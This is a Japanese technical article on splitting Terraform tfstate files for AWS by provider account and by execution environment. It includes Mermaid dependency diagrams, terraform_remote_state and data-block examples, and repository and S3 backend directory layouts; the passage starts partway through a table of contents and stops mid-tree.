異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞01. はじめに前世でもう少し徳を積んでいれば、Mitchell Hashimoto として生まれることができたのに!!さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割していない場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、terraformコマンドでtargetオプションが必要になります。単一のtfstateファイルで管理するコンポーネントが多くなるほど、この問題は顕著になります。分割している場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up & Running: Writing Infrastructure As CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しなくていい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、tfstateファイルが他のtfstateファイルの状態を使用することです。状態をほとんど使用し合わないインフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。アーキテクチャの文脈では、他を使用することを『依存』と表現します。そのため便宜上、tfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。設定値の参照数が少ないほどよいです。依存関係がある場合については、後述します。アーキテクチャの文脈では、『依存』を---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...Terraformには、そのリポジトリ内だけでブロック (例：resource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成リモートバックエンド内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別のdataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別のdataブロックの場合AWSリソース別のdataブロックによる依存dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別にdataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別のdataブロックがあります。これは、tfstateファイルが自身以外 (例：コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。tfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - ★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up & Running; Writing Infrastructure As CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ 